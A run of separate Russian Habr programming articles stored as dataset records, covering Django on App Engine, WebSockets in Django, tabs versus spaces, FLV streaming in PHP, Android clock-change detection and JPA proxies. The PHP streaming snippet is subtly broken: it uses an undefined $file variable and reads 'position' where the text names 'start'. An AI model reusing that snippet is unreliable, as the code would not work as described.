Для тех кому нужно что то поменьше, запустить бложик, сайт визитку и т.п это слишком сложно, да и зачем разбираться в особенностях разработки под GAE, когда можно без особых усилий запустить подобное на специализированных сервисах.
А вот с запуском Cloud SQL ситуация хоть немного может измениться. Теперь можно спокойно запускать django сайты средней сложности на GAE, прикрутить к нему домен, и забыть про администрирование сервера. Только не стоит забывать про то что GAE поддерживает библиотеки написанные только на чистом python, про все сишные модули стоит забыть, а также ограничения на http запросы из приложения. И нам все еще надо будет использовать API GAE для загрузки файлов в хранилище, отсылку email и кэширование в memcache, но даже с этими ограничениями это покроет большую часть нужд для разворачивания «простых» сайтов.
**Ссылки:**
* [Google Cloud SQL](https://developers.google.com/cloud-sql/)
* [Django Support](https://developers.google.com/cloud-sql/docs/django) | https://habr.com/ru/post/139354/ | null | ru | null |
# Простейший способ добавить WebSocket в Django
*Примечение переводчика: вебсокеты и Django — это довольно сложная тема, которая уже не раз поднималась на хабрахабре и основной идеей является написание параллельного бэкенда для вебсокетов. Автор же предлагает довольно лаконичное решение этой проблемы, которому правда еще предстоит проверка временем.*
TL;DR — Я пришел к очень простому решению для работы с вебсокетами в Django. Все что вам нужно — это установить [django-websocket-request](https://github.com/GetBlimp/django-websocket-request), запустить скрипт, и теперь ваше приложение поддерживает вебсокеты! Это решение заставляет Django думать, будто он получает нормальный (в какой-то мере) HTTP-запрос, поэтому оно будет совместимо почти со всем вашим существующим кодом. Решение работает нормально как с [Django Rest Framework](http://www.django-rest-framework.org/), так и с обычными функциями-представлениями и представлениями, основанными на классах (Class Based Views).
##### Подробнее
Мы разрабатываем [Blimp 2](http://blog.getblimp.com/category/odp/) — это говорит о том, что у нас постоянно множество изменений в коде и инфраструктуре, и о том, как мы решаем старые и новые проблемы. Одно из решений, которое мы сделали в отношении нашего приложения, существенно изменило взаимодействие фронтенда и бэкенда.
В данный момент Blimp работает на Django. Он обслуживает наш HTML-код, обрабатывает наше публичное и приватное API, всю бизнес-логику. До последнего времени большинство веб-приложений примерно так и строились, однако Blimp имеет толстый JavaScript-клиент. С обычными запросами все происходит примерно следующим образом: вы запрашиваете URL, происходит какая-то работа со стороны бэкенда — запросы к базе данных, кеширование, обработка данных, отрисовка HTML-страниц, подгрузка сторонних CSS и JavaScript-библиотек, загрузка нашего собственного JavaScript-приложения, еще немного обработки данных, и наконец отрисовка результата.
Через несколько месяцев практики и роста нашего проекта, мы обнаружили несколько ключевых улучшений, которые мы можем внедрить — новая версия бэкенда должна будет заниматься формированием JSON, но не отрисовкой HTML, а наше фронтенд-приложение, которое выполняется со стороны клиента, будет просто потреблять данные через API. Мы решили, что оно будет использовать вебсокеты там, где это возможно, и обычный XHR во всех остальных случаях.
Веб-фреймворк Django и ему подобные построены для работы с циклом HTTP-запрос/ответ, поэтому всё в них, и представления, и механизмы аутентификации принимают HTTP-запрос на входе и отдают HTTP-ответ на выходе. С другой стороны, сервер вебсокетов не знает ничего о таком цикле.
Нашими главными целями были:
1. Одни и те же механизмы сериализации и десериализации данных, как со стороны HTTP-бэкенда, так и со стороны API вебсокетов.
2. Одна и та же бизнес-логика для всех.
Первой мыслью, которая пришла в голову, было превращение всей бизнес логики в методы наших моделей. Таким образом мы могли бы написать код единожды и разделить его между двумя бэкендами. В тот момент это казалось правильным решением, но через несколько часов было доказано, что нет. Так как мы работаем поверх Django REST framework, мы были бы вынуждены унаследовать и доработать десятки его классов и примесей, что на самом деле звучало не так уж плохо, но мы были настроены достаточно скептически и решили поискать другие идеи.
Мы знали, что хотим единое REST API, которое бы работало по двум каналам: HTTP и вебсокеты. Самым лучшим вариантом стало бы избежание переписывания чего бы то ни было только для работы его с вебсокетами. В какой-то момент меня озарило. Я вспомнил о [Sails.js](http://sailsjs.org/), который делает нечто подобное с тем, чего мы хотим достичь.
*Sails поддерживает непривязанный к конкретному механизму обмен данными, что позволит вашим обработчикам автоматически работать и с Socket.io, и с вебсокетами. В прошлом вам пришлось бы писать отдельный код, чтобы получить такой результат.*
Говоря более простым языком, мы хотели внедрить непривязанный ни к чему конкретному механизм обмена данными, который бы позволил нам использовать все что есть из Django-цикла запрос/ответ, чтобы автоматически формировать вебсокет-сообщения.
##### Решение
WebSocketRequest оказался неожиданно простым решением. Это простой класс, который принимает JSON-строку, содержащую следующие ключи: method, url, data, и token. Ключ method может быть любым HTTP-методом: GET, POST, PUT, DELETE, PATCH, HEAD или OPTIONS. Ключ url является абсолютным URL без доменного имени. Ключ data — это необязательный параметр — словарь, содержащий данные. Ключ token также является необязательным — используется для воссоздания заголовка HTTP-авторизации, авторизации через JSON Web Token или для ваших собственных ключей. Вы можете посмотреть мою [статью](http://jpadilla.com/post/73791304724/auth-with-json-web-tokens) , чтобы узнать больше о JSON Web Token, а если вы пользуетесь Django REST framework, то вам наверное понравится [django-rest-framework-jwt](https://github.com/GetBlimp/django-rest-framework-jwt).
WebSocketRequest работает следующим образом:
1. Проверяет пришедшую JSON-строку
2. Создает экземпляр [фабрики запросов](https://docs.djangoproject.com/en/dev/topics/testing/advanced/#the-request-factory) (RequestFactory)
3. Динамически вызывает один из методов фабрики запросов, который возвращает экземпляр WSGIRequest
4. Находит соответствующее URL представление
5. Запускает найденное представление вместе со всеми данными, которые пришли из URL.
Да-да, фабрика запросов, вы прочитали верно. Вы можете быть знакомы с ней, если когда-нибудь писали тесты для Django-приложений, но если нет, фабрика запросов занимается тем, что генерирует объект запроса, который может быть использован как аргумент для любого представления. Единственным минусом является то, что такой запрос не поддерживает механизм [middleware](https://docs.djangoproject.com/en/dev/topics/http/middleware/), что для некоторых может стать проблемой.
Мне определенно хотелось бы услышать о возможных проблемах данного подхода. В чем он может быть улучшен? Что может сломаться? Что насчет промышленного использования?
##### Демо
Обратите внимание, что Django в этом примере не используется вообще. [Tornado](http://www.tornadoweb.org) выдает статический HTML-файл и передает все вебсокет-запросы django-websocket-request, в котором уже и происходит вся магия.
Я установил демо-приложение на Heroku: <http://dwr-example.herokuapp.com/>. Будьте внимательны, данные периодически стираются. Если вы обнаружите какую-то ошибку, напишите мне в [твиттере](https://twitter.com/jpadilla_) о ней.
Вы можете установить WebSocketRequest при помощи pip:
`pip install django-websocket-request`
Исходный код:
<https://github.com/GetBlimp/django-websocket-request>
Демо-приложение:
<https://github.com/GetBlimp/django-websocket-request-example> | https://habr.com/ru/post/211094/ | null | ru | null |
# Пора завязывать
Может быть, стоило написать в «[Я негодую](http://habrahabr.ru/blogs/i_am_angry/)». Не знаю. Пока писал, расколотил чашку с чаем и таким образом достиг хладнокровия.
Я про вот что: [раз](http://habrahabr.ru/blogs/programming/118204/) и [два](http://habrahabr.ru/blogs/programming/118208/).
Есть же множество прекрасных тем для холиваров: Windows или Linux, IE или FF, Canon и Nikon, Intel и AMD, «на Украине» или «в Украине». Чужой или Хищник, наконец!
Так нет же, зацепились на ровном месте: пробелы и табуляции.
Не буду делать вид, что проблемы не существует. Проблема еще какая. Если в коде использованы *не те* символы, рвется индентация, странным образом скачет курсор, появляются развесистые глупые диффы и увеличивается систолический объем сердца. Что-то надо делать.
##### Конфликты
Я не про конфликты слияния (хотя они тоже есть), а про конфликты между сотрудниками.
Ладно бы только табуляции. Есть, скажем, такой спецэффект в [vim](http://www.vim.org/)'е: если между двумя строками с отступом затесалась одна совсем пустая строка (то есть в файле на ее месте два `\n` подряд), то vim не сохранял позицию курсора при перемещении вниз-вверх.
И ты теперь жалуешься мне, что я закоммитил пустые строки. Настолько пустые, что даже без пробелов. Тебе это жмёт, а виноват я.
Когда я писал в vim, это было моей проблемой. Кажется, она даже как-то решалась.
Теперь в vim пишешь ты (а я в [Komodo Edit](http://www.activestate.com/komodo-edit)), но почему-то это осталось моей проблемой. Почему? Потому что vim православнее? Вот не надо. В конце концов, я старше и у меня ноги грязнее. У нас субординация и выслуга лет.
##### Куды бечь?
Давай не будем друг друга в чем-то убеждать. У тебя свои пробелы, у меня свои. Не станем их навязывать. Каждый остается при своем, а чтобы оставаться было удобней, умные люди придумали обрабатывающие скрипты (hooks) на события в системах контроля версий.
Sapienti sat.
Вы, в конце концов, программисты или где? Что за нытье? Не вы ли разбирали в трудах классиков волшебную формулу — как посчитать число табуляций по позиции в строке?
Так, теперь при собеседовании на работу будет обязательное задание — написать фильтр, превращающий любой текстовый файл в излюбленную кандидатом комбинацию пробельных символов для отступов. Не справился за 20 минут? Вон из профессии.
А диффы, кстати, испокон веков могли показываться без учета whitespace. А сейчас диффы вообще умные, скоро захватят человечество.
##### Что дальше?
Ну, допустим, с отступами разобрались, а вот есть еще выравнивание. И отбивки. И линейки. Не считая более важных штук, таких как египетские фигурные скобки, пробелы вокруг аргументов и сакральное *ИменованиеФункций* и *переменных\_разной\_области\_видимости*.
Вообще, у нас где-то валялся стайл-гайд. Мы три страницы скопипастили и своих два абзаца добавили; потом задолбались и то, что получилось, запихали в корпоративную вики. Тычем туда носом новичков. Когда сам заглядывал? Ну… в прошлом году, кажется, смотрел. Да, в прошлом году, точно. В январе. Там хорошо написано о том, как важны комментарии и когда применять в идентификаторах *num*, а когда *count*.
Да, стайл-гайд соблюдать полезно. Но иногда лениво.
Так в чем проблема? Быстренько гуглим: *%твой\_любимый язык% tidy*. Скачиваем, ставим, прогоняем код через него и радуемся жизни.
Что-о-о? Для %твой\_любимый язык% ничего нет? И ты еще спрашиваешь, чем таким гениальным осчастливить open source сообщество в свободный вечер?
Бери и пиши. За пример можешь взять [perltidy](http://perltidy.sourceforge.net/), он, пожалуй, самый мощный. В нем стопиццот ручек и кнопок; я уверен, даже автор их все не знает. А с выравниванием, которое alignment, как он управляется — это просто волшебство какое-то.
##### Ответ на главный вопрос
Решаем у себя раз и навсегда. Решаем, например, так:
* код в репозитории хранится с отступами, кратными 4 пробелам
* каждые 8 пробелов обязательно заменяются символом табуляции ASCII 0x09
* новая строка определяется символом ASCII 0x0A (LF)
* между несколькими символами LF никаких других пробельных символов не допускается
* завершающих пробельных символов в строках быть не должно
* файл обязательно завершается одним и только одним LF
С этим всё. Это делается парой-тройкой простейших регулярок.
Второе. Ответственным за соблюдение порядка в репозитории назначается системный администратор Пупкин В.А. Если в репозитории появились файлы, не соответствующие указанным правилам, наказан будет только он, а не коммитер. Пусть Пупкин сегодня же настроит обрабатывающие хуки. Если достигнуто общее мнение насчет стиля, помимо приведенных простых правил код будет прогоняться через *xxxtidy* с такими-то опциями для приведения файлов в соответствие с корпоративным стилем оформления программного кода.
Третье. Никакие жалобы вида «я привык так», «мне надо вот этак», «у меня редактор NoteWordMega+++ не понимает ваших табов», «этот его долбанный NoteWordMega+++ понапихал в код свистелок и перделок» отныне и навеки веков не принимаются. Жалобщик будет наказан тремя днями рефакторинга кода, написанного на [Whitespace](http://compsoc.dur.ac.uk/whitespace/) и распечатанного на туалетной бумаге. После чего садится настраивать хуки на своей стороне. Теперь совсем всё.
Незамедлительно по офису распространяется благодать и цвет лица разработчиков улучшается на 18%.
##### Официально заявляю
Если вдруг я приду к вам на работу, или вы придете ко мне на работу, и попробуете что-то предъявить насчет пробелов и табуляций — я порву на себе майку, заору страшным голосом и откушу вам голову. Ну ладно, ладно, я забьюсь в угол, заплачу и буду звать маму.
Договорились?
---
1. Поскольку [животное](http://www.flickr.com/photos/johnath/3505743803/) в начале топика, взятое мною на Flickr, было лицензировано под [CC BY-SA](http://creativecommons.org/licenses/by-sa/2.0/), указываю автора фотографии: [Johnathan Nightingale](http://www.flickr.com/people/johnath/).
2. Что-то я никак не могу нагуглить инструкцию по применению *num* и *count* в идентификаторах, а вопрос, действительно, интереснейший. И с точки зрения английского языка, и для целей наведения тотального порядка. Помню, была очень хорошая статья, если кто найдет, дайте ссылку, пожалуйста.
3. В первой версии поста количество матюков достигало трех штук на предложение. Скрепя сердце, матюки повыбрасывал. А то программист нынче пошел нежный, от табуляций и пробелов бледнеет и чахнет, куда ему крепкую лексику. Тут смайл.
--- | https://habr.com/ru/post/118510/ | null | ru | null |
# flash-видео на веб-страницах и PHP
Эта статья — перепечатка статьи от 16 ноября 2007 г. с моего блога, ссылку на который можно найти в моем же профайле — но, поскольку так уж вышло, что тема эта, кажется, до сих пор многим интересна, к тому же не так давно я читал на эту тему доклад на конференции PHPConf… в общем — судите сами.
Вступление
----------
В последнее время все большее распространение получает технология трансляции видео через веб – без необходимости скачивать медиа-контент на машину пользователя, с просмотром прямо из браузера. Таким образом можно просматривать довольно большое количество различных форматов видео, однако, это требует наличия определенных плагинов на стороне пользователя. Очевидно, самым распространенным подобным плагином является *flash-player* (ну хорошо, хорошо: если быть точным, то он, конечно же, не может сам по себе проигрывать видео – но позволяет легко создать приложение, способное воспроизводить видео-контент). Яркий пример такого подхода – [youtube.com](http://youtube.com). Попытаюсь рассказать о том, как самостоятельно организовать трансляции флэш-видео на своей веб-странице и какие существуют подходы к этой проблеме.
Следует отметить, что статья не претендует на статус хоть сколько-нибудь инновационной и является чистой воды компиляцией из источников, доступных в открытом виде. Я надеюсь, тем не менее, что эта компиляция даст многим тот необходимый минимум знаний о предмете доклада, который заложит основу для собственных разработок и исследований.
1. О формате FLV
----------------
Итак, *flash-player* воспроизводит видео в формате FLV, других форматов не понимает.
Подробнее о самом формате можно почитать, например, здесь: [en.wikipedia.org/wiki/FLV](http://en.wikipedia.org/wiki/FLV), а также, само собой, на сайте компании Adobe – производителя *flash-player*. В рамках данного доклада нам не понадобятся детальные знания о формате, а те, что понадобятся, приведены ниже.
FLV-файл состоит из заголовка и собственно самого фильма.
Заголовок содержит определенную мета-информацию о фильме: продолжительность, размер, и т. д. и т. п. На самом деле, нас с вами в этой мета-информации заинтересует только одно обстоятельство – а именно то, что там содержатся данные о ключевых фреймах фильма (их позиции по временной и байтовой шкале). Сама мета-информация представляет собой произвольной вложенности ассоциативный массив, сериализованный в формат AMF, который является одним из принятых стандартов при разработке приложений на flash.
*Примечание*: для PHP существует несколько библиотек, позволяющих выполнять (де)сериализацию в/из AMF.
2. Как организовать трансляцию FLV-файлов на веб-страницах
----------------------------------------------------------
Чтобы считать трансляцию успешной, нужно соблюсти два условия: сервер успешно показал контент, а клиент его не менее успешно посмотрел. Соответственно, необходимы две части приложения – сервер и клиент. В качестве клиента выступает *flash*-приложение, способное воспроизвести видео-поток с указанного URL. Подобных программ существует множество, и мы здесь не будем подробно на них останавливаться. Поговорим о серверной части. Итак, какие же есть возможные пути реализации?
### 2.1. Download — скачивание
Это самый простой путь. Он требует простейшего клиента, который просто запрашивает видео-поток по заданному URL и воспроизводит его.Серверу только и надо, что обработать HTTP-запрос и выдать соответствующий контент. Не нужно никакого специфического софта.
«Тогда к чему какие-то еще другие пути?» — такой вопрос сложно не задать. Однако, не все так гладко с этим способом… Дело в том, что если он отлично подходит для показа небольших видео-фрагментов, длиной до 2-3 минут, то фильмы подлиннее так показывать не годится: для того чтобы пользователь мог посмотреть какой-либо кусок фильма, необходимо, чтобы этот кусок уже закачался на его компьютер. Другими словами, находясь в начале фильма, мы не можем передвинуть «ползунок» таймера в конец и посмотреть финальные титры. Такой способ не дает также никаких возможностей для защиты видео-контента от скачивания.
### 2.2. Streaming – потоковое видео
Этот способ – пожалуй, наиболее продвинутый. Здесь есть возможность перемотки к произвольному месту в потоке, определенные механизмы защиты контента (если говорить откровенно, то эти механизмы всего лишь затрудняют получение контента, являясь, по сути, защитой только от неумелого взломщика). Также полезная возможность – организация «живых» видео-трансляций. Если вам необходимы живые трансляции – нужно стримить, другого выхода у вас нет.
Что ж, возникает тот же вопрос, что и с предыдущим способом: «если стриминг так хорошо, то к чему какие-то еще другие пути?». Стриминг хорош, но не каждому по карману. За медиа-сервер (например, «Flash Media Server») придется выложить кругленькую сумму. Впрочем, имеются и опенсорс решения, например, *ffserver* (который, однако, не вполне подпадает под тему доклада, поскольку не умеет стримить файлы), а также *Red5*, который написан на *Java* и поэтому также подойдет не для всех.
### 2.3. HTTP-streaming (эмуляция потокового видео через HTTP)
Из названия можно сделать догадку о том, что третий способ является комбинацией первых двух. В каком-то приближении можно считать, что это так и есть. Как мы уже отмечали, большим недостатком 1-го способа (download) является невозможность перемотки в произвольное место фильма. В HTTP-streaming эта проблема решается так: при перемотке в то место, которое еще не успело скачаться на машину пользователя, текущее скачаивание прекращается и на сервер отправляется новый запрос, содержащий указатель на то, с какого места в фильме нужно начать скачивание. Здесь есть определенные тонкости, которые мы подробнее обсудим в следующей главе. Что же касается преимуществ и недостатков такого подхода… На мой взгляд, для трансляции файлов – это лучший вариант. Он достаточно прост для того, чтобы реализовать его на любом языке (скриптовом, как PHP или Ruby – или же компилируемом, как C), так что вы можете решать, что использовать, исходя из требований к скорости разработки, скорости работы результирующего приложения, имеющегося ПО и прочая, прочая. Также для таких распространенных быстрых веб-серверов как *Nginx* и *Lighttpd* имеются готовые модули для трансляции FLV-файлов, написанные на C и работающие весьма шустро.
На этом способе я и остановлюсь немного подробнее…
3.Http-streaming
----------------
Итак, рассмотрим подробнее вариант трансляции флэш-видео с помощью Http-streaming. Как иы уже говорили, для того чтобы проиграть фильм с произвольного места, клиент отправляет на сервер HTTP-запрос, содержащий «координату» места, с которого следует выдавать видео-поток. ну, например: [localhost/flv/film.php?start=XXXXX](http://localhost/flv/film.php?start=XXXXX). Что представляет собой эта координата? Это всего лишь номер байта, с которого начинается нужный фрейм. К слову сказать, начинать проигрывание FLV-файла нужно всегда с ключевого фрейма.
«Однако, позвольте! Откуда же клиенту известен этот номер байта, с которого начинается фрейм? да еще обязательно ключевой?»
Отвечаю. Помните, в начале, когда я в двух словах рассказал о том, из чего состоит файл FLV, я упомянул о мета-информации, которая содержится в заголовке? В этой мета-информации содержатся данные о ключевых фреймах фильма (их позиции по временной и байтовой шкале). Таким образом, клиент всегда может найти ближайший ключевой фрейм к той позиции в потоке, которую запросил пользователь – и перевести ее в байты, каковые и передать на сервер.
А что же сервер? Ну, собственно, его задача теперь минимальна: обработать запрос, считать значение параметра (в нашем случае это переменная $\_GET['start']), и выдать требуемый видео-файл, начиная с запрошенного байта. Все обстоит почти так. Почти, но не совсем. FLV-файл обязательно должен содержать заголовок. Если запрошенный пользователем байт не нулевой, то перед тем как выдать содержимое файла, начиная с этого байта, нужно вставить минимально возможный заголовок (честно говоря, я не разбирался подробно, что он из себя представляет, но догадываюсь, что это пустой массив или объект, сериализованный в AMF и предваренный символами «FLV»).
### 3.1. Готовые решения: *lighttpd*, *nginx+http\_flv\_module*, *flv4php*.
Поддержка Http-streaming осуществлена в популярных веб-серверах *lighttpd* и *nginx*. В случае использования этих решений, вам всего лишь нужно положить FLV-файлы в место, доступное веб-серверу, все остальное – дело сервера и клиента, никакого программного кода для серверной части писать не придется. Клиент же должен будет запрашивать FLV-файлы, добавляя к URL'у GET-параметр «start», например, [local-nginx/sample.flv?start=12345](http://local-nginx/sample.flv?start=12345).
Существует также бесплатное решение (возможно, их и больше) на основе PHP — *flv4php*. Его большой плюс – в том, что в этом проекте имеется готовый плеер – клиент для HTTP-streaming. Минус – в том, что это решение довольно тяжеловесное, и, по данным моих тестов на своей рабочей машине, сильно нагружает процессор (странное явление, адекватного объяснения которому мы не нашли, однако, от греха подальше, поспешили отказаться от использования серверной части *flv4php* и ограничились тем, что позаимствовали у них плеер, который после модификации под наши нужды стал служить нам верой и правдой). Еще один недостаток – в качестве «тумбы» (картинка, которую пользователь видит при открытии страницы на экране плеера) используется первый фрейм фильма, и это поведение не кастомизируется. Допускаю мысль о том, что *flv4php* можно настроить и лучшим образом, и заставить его таки делать то, что нужно, и без диких нагрузок на процессор. И тем не менее, небольшой фрагмент PHP-кода, приведенный ниже, делает практически то же самое, что *flv4php* – и гарантированно с хорошей производительностью :)
### 3.2. Сделай сам или все только кажется сложным.
`php<br/
$start = (int) filter_input(INPUT_GET, 'position', FILTER_VALIDATE_INT);
if ($start < 0) die("Incorrect request");
// open file for reading
$fp = fopen('sample.flv', 'r');
$fsize = filesize($file);
if ($start > 0)
{
// seek to requested position
fseek($fp, $start);
// FLV header for the movie part. Magic. Trust me ;)
// Header code is completely taken from flv4php project
$header = "FLV" . pack('C', 1 ) . pack('C', 5 ) . pack('N', 9 ) . pack('N', 9 );
header("Content-Length: " . (strlen($header) + $fsize - $start));
echo $header;
} else {
header("Content-Length: " . $fsize);
}
while(!feof($fp)) {
print(fread($fp, 1024));
}
fclose($fp);
?>`
Как видите, все предельно просто, думаю, пояснения излишни.
4.Преобразование в FLV из других форматов. Основы *ffmpeg* & *mencoder*. Мета-информация и как ее впихнуть в FLV-файл.
----------------------------------------------------------------------------------------------------------------------
Уфф, практически, мы закончили. В этой главе я немного расскажу о том, как перевести видео-контент в формат FLV и как запихнуть в готовые фильмы мета-информацию, которая необходима для осуществления HTTP-streaming. Я не буду останавливаться на ПО, доступном под MS Windows, вместо этого сосредоточусь на \*nix-решениях (не секрет, что большинство веб-проектов работают на серверах под управлением \*nix/Linux/FreeBSD, и эта информация может оказаться полезной).
Самые известные и мощные проекты – *ffmpeg* и *mencoder*. И та, и другая программы работают с большинством известных на сегодняшний день видео-форматов, имеют обширную базу кодеков и/или возможность подключения пользовательских кодеков. Обе работают с хорошей скоростью (впрочем, вы понимаете, что обработка видео – дело неблагодарное и отнимает много ресурсов и времени).
Чтобы перевести имеющийся фильм в формат FLV, нужно выполнить примерно следующие команды:
**ffmpeg**:
`$ ffmpeg -i sample.avi sample.flv`
(см. документацию к *ffmpeg* — [ffmpeg.mplayerhq.hu/ffmpeg-doc.html](http://ffmpeg.mplayerhq.hu/ffmpeg-doc.html), чтобы узнать о дополнительных опциях)
**mencoder**:
`$ mencoder sample.avi -of lavf -lavfopts i_certify_that_my_video_stream_does_not_use_b_frames -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -oac mp3lame -lameopts abr:br=56 -srate 44100 -o sample.flv`
(см. документацию к *mencoder* — [www.mplayerhq.hu/DOCS/HTML/en/index.html](http://www.mplayerhq.hu/DOCS/HTML/en/index.html), чтобы узнать о дополнительных опциях).
И снова о мета-информации.
Ни *ffmpeg*, ни *mencoder* не вставляют в заголовок результирующего FLV-файла мета-информацию о ключевых фреймах. Между тем, информация эта совершенно необходима для того, чтобы организовать HTTP-streaming. Как быть? На помощь разработчикам снова приходят они – опенсорс-продукты :). Например, маленькая программа под названием *Yamdi* (Yet Another Meta-Data Injector): [sourceforge.net/projects/yamdi](http://sourceforge.net/projects/yamdi/). С ее помощью даже FLV-файлы большого размера (ну, скажем, в гигабайт) за очень небольшое время можно снабдить необходимыми мета-данными.
Литература и ссылки:
--------------------
**flv streaming with lighttpd**: [blog.lighttpd.net/articles/2006/03/09/flv-streaming-with-lighttpd](http://blog.lighttpd.net/articles/2006/03/09/flv-streaming-with-lighttpd)
**Стриминг Flash Video при помощи Nginx**:
[blog.kovyrin.net/2006/10/14/flash-video-flv-streaming-nginx](http://blog.kovyrin.net/2006/10/14/flash-video-flv-streaming-nginx/)
Этот раздел не отличается полнотой, на самом деле, конечно же, пришлось несколько больше излазать:) | https://habr.com/ru/post/30402/ | null | ru | null |
# Туда и обратно: как мы пытались отследить актуальное время в Android
Марти, серия еще доступна ?Эта статья будет посвящена тому, как мы в команде PREMIER, пытались установить актуальность загруженного контента и что из этого вышло. Возможно публикация будет полезна тем, кто решил следить за переводами времени устройства в условиях отсутствующего соединения.
Предыстория
-----------
По договоренности с правообладателем все скачанные фильмы и сериалы могут быть доступны пользователю только в течение 14 дней. Поэтому мы должны ограничивать пользователя в доступе к просмотру загрузок по истечении этого срока. Время окончания доступности для серии рассчитывается в момент ее загрузки и проверяется с помощью времени на устройстве.
Но может возникнуть ситуация, когда пользователь умышлено отключит интернет и, убрав последнюю возможность синхронизировать время с сервером, переведет время на устройстве назад, продлив тем самым для себя возможность просмотра контента. Чтобы избежать проблем с правообладателями и не ограничивать пользователей, которые по каким-то причинам перевели время вперед, уменьшив для себя время доступности контента, было принято решение пробовать отслеживать реальное оставшееся время для загрузок.
Засучив рукава
--------------
Изначально была идея использовать библиотеку [AndroidTrueTime](https://github.com/instacart/truetime-android), но из-за того, что в ней используется NTP(Network Time Protocol), а нам требовалось работать в оффлайне, ее пришлось откинуть. Также была мысль использовать системное время из линукс (Hardware Time), который бы не изменялся после перевода времени, но для его использования нужно чтобы у пользователя был установлен [BusyBox](https://github.com/sherpya/android-busybox) или что-то подобное.
Изменения времени решили устанавливать самостоятельно по системному уведомлению приходящему из BroadcastReceiver’a. Так как Android не присылает никакой информации о том, на сколько было изменено время на девайсе, а просто шлет уведомление о событии, то появилась потребности рассчитывать разницу между старым и новым временем устройства.
Для этого воспользовались связкой системных переменных:
```
System.currentTimeMillis() // возвращает текущее время время в миллисекундах
SystemClock.elapsedRealtime() // возвращает время от старта системы в миллисекундах
```
Разница между ними:
```
private fun currentTimestamp(): Long {
return System.currentTimeMillis() - SystemClock.elapsedRealtime()
}
```
Это позволило получить неизменяемый timestamp, который бы отличался только при изменении времени на устройстве и при перезагрузке устройства, но об этом позже.
Таким образом, для того чтобы узнать насколько изменилось время, мы находим разницу:
```
val timeChangeInMillis = savedTimestamp - currentTimestamp
```
`savedTimestamp` устанавливается методом `currentTimestamp()` при первом запуске приложения и служит базовой точкой отсчета при вычислениях разницы времени.
Изменение во времени сохраняем в переменную `timeChangingDelta`.
Вывод актуального времени стал выглядеть так:
```
val timeChangingDelta = preferences.getLong(KEY_LAST_DIFFERENCE, NO_TIME)
val timestamp = System.currentTimeMillis() + timeChangingDelta
```
Непреодолимые трудности
-----------------------
Но что делать, если устройство было перезагружено, ведь в этот момент elapsedRealtime сбрасывается к 0, ломая наши вычисления? Правильно, дополнительно сохранять его в переменную `elapsingTimeChangingDelta`. Перезагрузку устройства можно определить по признаку того, что сохраненное значение станет больше реального(т.к. реальное сбросится) или как аналог можно воспользоваться `Settings.Global.BOOT_COUNT`, которая возвращает количество перезагрузок устройства.
```
val wasDeviceRebooted = Settings.Global.BOOT_COUNT > savedBootCount
```
Если девайс был перезагружен, то вычисляем изменение `elapsedRealtime`и суммируем с предыдущими изменениями:
```
val elapsedTimeDelta = preferences.getLong(KEY_ELAPSED_TIME, NO_TIME) - SystemClock.elapsedRealtime()
preferences.edit {
val previousSum = getLong(KEY_ELAPSING_DELTA_SUM, NO_TIME)
putLong(KEY_ELAPSING_DELTA_SUM, previousSum + elapsedTimeDelta)
}
```
Метод получения времени стал выглядеть так:
```
fun timestamp(): Long {
when {
hasTimestamps() -> updateTimestamp()
else -> initializeTimestamps()
}
val timeChangingDelta = preferences.getLong(KEY_LAST_DIFFERENCE, NO_TIME)
val elapsingTimeChangingDelta = preferences.getLong(KEY_ELAPSING_DELTA_SUM, NO_TIME)
return System.currentTimeMillis() + (timeChangingDelta + elapsingTimeChangingDelta)
}
```
Сохраненное значение `elapsedRealtime` суммируется к нашей `timeChangingDelta`, и таким образом мы находим сдвиг времени.
Еще одним препятствием оказалось то, что событие о переводе времени приходит с задержкой или, в зависимости от ОС девайса, вовсе не приходит при закрытом приложении. Все вычисления потребовалось выполнять уже в момент отображения контента, что могло произойти с большой задержкой после перевода времени или перезагрузки.
Сматывая удочки
---------------
Стало ясно, что в текущем виде без дополнительной синхронизации устанавливать актуальное время не удастся.
В итоге, подход не справился с задачей в полной мере и от него пришлось отказаться. Пользователь все равно сможет обойти защиту с помощью перезагрузки и перевода времени. Но решение может оказаться для кого-то полезным в случае изменений времени в рамках одного цикла перезагрузки девайса.
Проблему пришлось решить другим способом, сохранив последнее время открытия серии в `lastOpenTimestamp` и при обнаружении, что время девайса меньше сохраненного, блокировать доступ к серии. (`currentTimestamp < lastOpenTimestamp`) . Это не решило всех проблем, но позволило защитить контент. | https://habr.com/ru/post/695178/ | null | ru | null |
# Способ проксирования JPA сущностей для клиента (борьба с lazy initialization)
Недавно, увидев на Хабре [пост](http://habrahabr.ru/blogs/java/111911/) про борьбу с lazy initialization в Hibernate, я заинтересовался – прочитал сам пост и ждал пока наберется побольше комментариев – не предложит ли кто-нибудь способ, которым данную проблему решили мы. Ничего похожего я не увидел. Способ под катом.
Опишу на примере. Допустим, есть сущность:
```
@Entity
public class Person {
@Id
private long id;
private String firstName;
private String lastName;
@OneToMany
private List children;
// getters-setters
}
```
Мы хотим гарантировать, чтобы, когда представление этой сущности будет отправляться на клиент, список children был проинициализирован и, более того, не тянул за собой никаких Hibernate'овских подвязок. Для этого объявляем следующий интерфейс:
```
public interface IPerson {
public long getId();
public void setId(long id);
// getters-setters for firstName/lastName
public List getChildren();
public void setChildren(List children);
}
```
Именно такое представление и будет отправляться клиенту. Обратите внимание, что Person не реализует IPerson. И клиент вообще не знает о существовании Person. Для него существуют лишь только различные его представления в виде интерфейсов. Проксирование выгладит так:
```
Person examplePerson = getPersonFromDb();
IPerson personProxy = ProxyFactory.getProxy(IPerson.class, examplePerson);
```
Как это работает? Метод ProxyFactory.getProxy() создает с помощью механизма динамических прокси имплементацию интерфейса IPerson, в хэндлере которого лежит Map со значениями полей. Для заполнения этого мэпа ProxyFactory читает рефлексией поля сущности examplePerson. Соответственно, когда на интерфейсе вызывается какой-нибудь геттер/cеттер хэндлер лезет в этот мэп.
Естественно, у сущности может быть несколько интерфейсов, а прокси могут содержать только часть полей. Для ситуации со списком (как в примере List) также можно конкретно указывать из каких прокси состоит список (например, List).
Для того чтобы проверка интерфейсов прокси (что интерфейс действительно соответствует сущности) происходила на этапе компиляции для эклипса был написан простенький Ant-билдер, который проходит по проаннотированным следующим образом сущностям:
```
@Entity
@ProxyBinding(interfaceClass = IPerson.class)
public class Person {
// …
}
```
Данный подход доказал свою жизнеспособность на практике и оброс большим количеством разнообразных дополнений. Было бы интересно увидеть какую-нибудь конструктивную критику и комментарии. | https://habr.com/ru/post/112621/ | null | ru | null |
# Макрос для Autodesk Revit, который подравнивает стены
